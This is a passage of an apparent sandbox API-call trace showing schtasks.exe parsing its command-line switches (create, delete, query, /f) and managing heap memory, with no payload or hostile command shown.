(HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb650 [0112.894] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.894] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.894] lstrlenW (lpString="/f") returned 2 [0112.894] lstrlenW (lpString="-/") returned 2 [0112.895] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0112.895] lstrlenW (lpString="?") returned 1 [0112.895] lstrlenW (lpString="?") returned 1 [0112.895] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.895] lstrlenW (lpString="f") returned 1 [0112.895] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.895] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|?|") returned 3 [0112.895] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|f|") returned 3 [0112.895] lstrlenW (lpString="|?|") returned 3 [0112.895] lstrlenW (lpString="|f|") returned 3 [0112.895] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0112.895] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.895] lstrlenW (lpString="create") returned 6 [0112.895] lstrlenW (lpString="create") returned 6 [0112.895] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.895] lstrlenW (lpString="f") returned 1 [0112.895] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.895] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|create|") returned 8 [0112.895] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|f|") returned 3 [0112.895] lstrlenW (lpString="|create|") returned 8 [0112.895] lstrlenW (lpString="|f|") returned 3 [0112.895] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0112.895] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.895] lstrlenW (lpString="delete") returned 6 [0112.895] lstrlenW (lpString="delete") returned 6 [0112.895] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.896] lstrlenW (lpString="f") returned 1 [0112.896] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.896] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|delete|") returned 8 [0112.896] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|f|") returned 3 [0112.896] lstrlenW (lpString="|delete|") returned 8 [0112.896] lstrlenW (lpString="|f|") returned 3 [0112.896] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0112.896] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.896] lstrlenW (lpString="query") returned 5 [0112.896] lstrlenW (lpString="query") returned 5 [0112.896] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.896] lstrlenW (lpString="f") returned 1 [0112.896] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.896] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x8, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|query|") returned 7 [0112.896] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|f|") returned 3 [0112.896] lstrlenW (lpString="|query|") returned 7 [0112.896] lstrlenW (lpString="|f|") returned 3 [0112.896] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0112.896] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.896] lstrlenW (lpString="change") returned 6 [0112.896] lstrlenW (lpString="change") returned 6 [0112.896] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.896] lstrlenW (lpString="f") returned 1 [0112.896] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.896] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|change|") returned 8 [0112.896] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|f|") returned 3 [0112.896] lstrlenW (lpString="|change|") returned 8 [0112.897] lstrlenW (lpString="|f|") returned 3 [0112.897] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0112.897] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.897] lstrlenW (lpString="run") returned 3 [0112.897] lstrlenW (lpString="run") returned 3 [0112.897] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.897] lstrlenW (lpString="f") returned 1 [0112.897] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.897] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|run|") returned 5 [0112.897] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|f|") returned 3 [0112.897] lstrlenW (lpString="|run|") returned 5 [0112.897] lstrlenW (lpString="|f|") returned 3 [0112.897] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0112.897] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.897] lstrlenW (lpString="end") returned 3 [0112.897] lstrlenW (lpString="end") returned 3 [0112.897] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.897] lstrlenW (lpString="f") returned 1 [0112.897] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.897] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|end|") returned 5 [0112.897] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|f|") returned 3 [0112.897] lstrlenW (lpString="|end|") returned 5 [0112.897] lstrlenW (lpString="|f|") returned 3 [0112.897] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0112.897] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.897] lstrlenW (lpString="showsid") returned 7 [0112.897] lstrlenW (lpString="showsid") returned 7 [0112.897] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.898] lstrlenW (lpString="f") returned 1 [0112.898] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.898] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0xa, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|showsid|") returned 9 [0112.898] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|f|") returned 3 [0112.898] lstrlenW (lpString="|showsid|") returned 9 [0112.898] lstrlenW (lpString="|f|") returned 3 [0112.898] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0112.898] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.898] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.898] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.898] lstrlenW (lpString="/f") returned 2 [0112.898] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0112.898] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.898] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.898] lstrlenW (lpString="/f") returned 2 [0112.898] GetProcessHeap () returned 0x1b748cb0000 [0112.898] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x6) returned 0x1b748cb3bd0 [0112.898] GetProcessHeap () returned 0x1b748cb0000 [0112.898] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb5f0 [0112.898] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.898] GetProcessHeap () returned 0x1b748cb0000 [0112.898] GetProcessHeap () returned 0x1b748cb0000 [0112.898] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb38d0) returned 1 [0112.898] GetProcessHeap () returned 0x1b748cb0000 [0112.898] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb38d0) returned 0x8 [0112.898] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb38d0) returned 1 [0112.898] GetProcessHeap () returned 0x1b748cb0000 [0112.898] GetProcessHeap () returned 0x1b748cb0000 [0112.898] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb560) returned 1 [0112.898] GetProcessHeap () returned 0x1b748cb0000 [0112.899] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb560) returned 0x20 [0112.899] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb560) returned 1 [0112.899] GetProcessHeap () returned 0x1b748cb0000 [0112.899] GetProcessHeap () returned 0x1b748cb0000 [0112.899] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbaa60) returned 1 [0112.899] GetProcessHeap () returned 0x1b748cb0000 [0112.899] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbaa60) returned 0x10 [0112.899] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbaa60) returned 1 [0112.899] GetProcessHeap () returned 0x1b748cb0000 [0112.899] GetProcessHeap () returned 0x1b748cb0000 [0112.899] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb320) returned 1 [0112.899] GetProcessHeap () returned 0x1b748cb0000 [0112.900] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb320) returned 0x20 [0112.900] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb320) returned 1 [0112.900] GetProcessHeap () returned 0x1b748cb0000 [0112.900] GetProcessHeap () returned 0x1b748cb0000 [0112.900] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb3b30) returned 1 [0112.900] GetProcessHeap () returned 0x1b748cb0000 [0112.900] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb3b30) returned 0x8 [0112.900] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb3b30) returned 1 [0112.900] GetProcessHeap () returned 0x1b748cb0000 [0112.900] GetProcessHeap () returned 0x1b748cb0000 [0112.900] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb920) returned 1 [0112.900] GetProcessHeap () returned 0x1b748cb0000 [0112.900] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb920) returned 0x20 [0112.900] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb920) returned 1 [0112.901] GetProcessHeap () returned 0x1b748cb0000 [0112.901] GetProcessHeap () returned 0x1b748cb0000 [0112.901] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cba9a0) returned 1 [0112.901] GetProcessHeap () returned 0x1b748cb0000 [0112.901] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cba9a0) returned 0xe [0112.901] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cba9a0) returned 1 [0112.901] GetProcessHeap () returned 0x1b748cb0000 [0112.901] GetProcessHeap () returned 0x1b748cb0000 [0112.901] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb860) returned 1 [0112.901] GetProcessHeap () returned 0x1b748cb0000 [0112.901] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb860) returned 0x20 [0112.901] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb860) returned 1 [0112.901] GetProcessHeap () returned 0x1b748cb0000 [0112.901] GetProcessHeap () returned 0x1b748cb0000 [0112.901] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb3b50) returned 1 [0112.901] GetProcessHeap () returned 0x1b748cb0000 [0112.901] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb3b50) returned 0x8 [0112.901] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb3b50) returned 1 [0112.901] GetProcessHeap () returned 0x1b748cb0000 [0112.901] GetProcessHeap () returned 0x1b748cb0000 [0112.901] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb530) returned 1 [0112.901] GetProcessHeap () returned 0x1b748cb0000 [0112.902] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb530) returned 0x20 [0112.902] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb530) returned 1 [0112.902] GetProcessHeap () returned 0x1b748cb0000 [0112.902] GetProcessHeap () returned 0x1b748cb0000 [0112.902] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb3b70) returned 1 [0112.902] GetProcessHeap () returned 0x1b748cb0000 [0112.902] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb3b70) returned 0x4 [0112.902] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb3b70) returned 1 [0112.902] GetProcessHeap () returned 0x1b748cb0000 [0112.902] GetProcessHeap () returned 0x1b748cb0000 [0112.902] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb5c0) returned 1 [0112.902] GetProcessHeap () returned 0x1b748cb0000 [0112.902] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb5c0) returned 0x20 [0112.902] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb5c0) returned 1 [0112.986] GetProcessHeap () returned 0x1b748cb0000 [0112.986] GetProcessHeap () returned 0x1b748cb0000 [0112.986] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb3b90) returned 1 [0112.986] GetProcessHeap () returned 0x1b748cb0000 [0112.986] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb3b90) returned 0x8 [0112.986] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb3b90) returned 1 [0112.986] GetProcessHeap () returned 0x1b748cb0000 [0112.986] GetProcessHeap () returned 0x1b748cb0000 [0112.986] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb380) returned 1 [0112.986] GetProcessHeap () returned 0x1b748cb0000 [0112.986] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb380) returned 0x20 [0112.987] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb380) returned 1 [0112.987] GetProcessHeap () returned 0x1b748cb0000 [0112.987] GetProcessHeap () returned 0x1b748cb0000 [0112.987] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbbdd0) returned 1 [0112.987] GetProcessHeap () returned 0x1b748cb0000 [0112.987] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbbdd0) returned 0x44 [0112.987] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbbdd0) returned 1 [0112.987] GetProcessHeap () returned 0x1b748cb0000 [0112.987] GetProcessHeap () returned 0x1b748cb0000 [0112.987] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb8f0) returned 1 [0112.987] GetProcessHeap () returned 0x1b748cb0000 [0112.987] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb8f0) returned 0x20 [0112.988] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb8f0) returned 1 [0112.988] GetProcessHeap () returned 0x1b748cb0000 [0112.988] GetProcessHeap () returned 0x1b748cb0000 [0112.988] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb3bb0) returned 1 [0112.988] GetProcessHeap () returned 0x1b748cb0000 [0112.988] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb3bb0) returned 0x8 [0112.988] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb3bb0) returned 1 [0112.988] GetProcessHeap () returned 0x1b748cb0000 [0112.988] GetProcessHeap () returned 0x1b748cb0000 [0112.988] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb590) returned 1 [0112.988] GetProcessHeap () returned 0x1b748cb0000 [0112.988] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb590) returned 0x20 [0112.989] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb590) returned 1 [0112.989] GetProcessHeap () returned 0x1b748cb0000 [0112.989] GetProcessHeap () returned 0x1b748cb0000 [0112.989] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbaae0) returned 1 [0112.989] GetProcessHeap () returned 0x1b748cb0000 [0112.989] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbaae0) returned 0x10 [0112.989] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbaae0) returned 1 [0112.989] GetProcessHeap () returned 0x1b748cb0000 [0112.989] GetProcessHeap () returned 0x1b748cb0000 [0112.989] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb650) returned 1 [0112.989] GetProcessHeap () returned 0x1b748cb0000 [0112.989] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb650) returned 0x20 [0112.989] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb650) returned 1 [0112.989] GetProcessHeap () returned 0x1b748cb0000 [0112.989] GetProcessHeap () returned 0x1b748cb0000 [0112.989] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb3bd0) returned 1 [0112.990] GetProcessHeap () returned 0x1b748cb0000 [0112.990] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb3bd0) returned 0x6 [0112.990] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb3bd0) returned 1 [0112.990] GetProcessHeap () returned 0x1b748cb0000 [0112.990] GetProcessHeap () returned 0x1b748cb0000 [0112.990] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbb5f0) returned 1 [0112.990] GetProcessHeap () returned 0x1b748cb0000 [0112.990] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbb5f0) returned 0x20 [0112.990] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbb5f0) returned 1 [0112.990] GetProcessHeap () returned 0x1b748cb0000 [0112.990] GetProcessHeap () returned 0x1b748cb0000 [0112.990] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb4a30) returned 1 [0112.990] GetProcessHeap () returned 0x1b748cb0000 [0112.990] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cb4a30) returned 0x18 [0112.990] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cb4a30) returned 1 [0112.991] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.991] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0112.991] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0112.991] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0112.991] RtlVerifyVersionInfo (VersionInfo=0x119ed7c650, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0112.991] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.991] lstrlenW (lpString="create") returned 6 [0112.991] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0112.991] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.991] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.991] lstrlenW (lpString="create") returned 6 [0112.992] GetProcessHeap () returned 0x1b748cb0000 [0112.992] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb530 [0112.992] GetProcessHeap () returned 0x1b748cb0000 [0112.992] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cbab80 [0112.992] _memicmp (_Buf1=0x1b748cbab80, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.992] GetProcessHeap () returned 0x1b748cb0000 [0112.992] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x16) returned 0x1b748cba840 [0112.992] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.992] _memicmp (_Buf1=0x1b748cb4820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.992] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1b748cb96b0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0112.992] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x119ed7c7a8 | out: lpdwHandle=0x119ed7c7a8) returned 0x76c [0112.993] GetProcessHeap () returned 0x1b748cb0000 [0112.993] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x776) returned 0x1b748cbc4a0 [0112.993] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1b748cbc4a0 | out: lpData=0x1b748cbc4a0) returned 1 [0112.993] VerQueryValueW (in: pBlock=0x1b748cbc4a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x119ed7c740, puLen=0x119ed7c7a0 | out: lplpBuffer=0x119ed7c740*=0x1b748cbc850, puLen=0x119ed7c7a0) returned 1 [0112.993] _memicmp (_Buf1=0x1b748cb4820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.993] _vsnwprintf (in: _Buffer=0x1b748cb96b0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x119ed7c718 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0112.993] VerQueryValueW (in: pBlock=0x1b748cbc4a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x119ed7c730, puLen=0x119ed7c798 | out: lplpBuffer=0x119ed7c730*=0x1b748cbc680, puLen=0x119ed7c798) returned 1 [0112.993] lstrlenW (lpString="schtasks.exe") returned 12 [0112.993] lstrlenW (lpString="schtasks.exe") returned 12 [0112.993] lstrlenW (lpString=".EXE") returned 4 [0112.993] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0112.993] lstrlenW (lpString="schtasks.exe") returned 12 [0112.993] lstrlenW (lpString=".EXE") returned 4 [0112.993] lstrlenW (lpString="schtasks") returned 8 [0112.993] lstrlenW (lpString="/create") returned 7 [0112.993] _memicmp (_Buf1=0x1b748cb4820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.993] _vsnwprintf (in: _Buffer=0x1b748cb96b0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x119ed7c718 | out: _Buffer="schtasks /create") returned 16 [0112.994] _memicmp (_Buf1=0x1b748cb2100, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.994] GetProcessHeap () returned 0x1b748cb0000 [0112.994] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb2c0 [0112.994] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.994] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0112.994] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0112.994] GetProcessHeap () returned 0x1b748cb0000 [0112.994] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x30) returned 0x1b748cb3b30 [0112.994] _vsnwprintf (in: _Buffer=0x1b748cb4260, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x119ed7c718 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0112.994] GetProcessHeap () returned 0x1b748cb0000 [0112.994] GetProcessHeap () returned 0x1b748cb0000 [0112.994] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbc4a0) returned 1 [0112.994] GetProcessHeap () returned 0x1b748cb0000 [0112.994] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cbc4a0) returned 0x776 [0112.995] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cbc4a0) returned 1 [0112.995] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.995] GetThreadLocale () returned 0x409 [0112.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.995] lstrlenW (lpString="create") returned 6 [0112.995] GetThreadLocale () returned 0x409 [0112.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.995] lstrlenW (lpString="?") returned 1 [0112.995] GetThreadLocale () returned 0x409 [0112.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.995] lstrlenW (lpString="s") returned 1 [0112.995] GetThreadLocale () returned 0x409 [0112.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.995] lstrlenW (lpString="u") returned 1 [0112.995] GetThreadLocale () returned 0x409 [0112.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.995] lstrlenW (lpString="p") returned 1 [0112.995] GetThreadLocale () returned 0x409 [0112.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.995] lstrlenW (lpString="ru") returned 2 [0112.995] GetThreadLocale () returned 0x409 [0112.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.995] lstrlenW (lpString="rp") returned 2 [0112.996] GetThreadLocale () returned 0x409 [0112.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.996] lstrlenW (lpString="sc") returned 2 [0112.996] GetThreadLocale () returned 0x409 [0112.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.996] lstrlenW 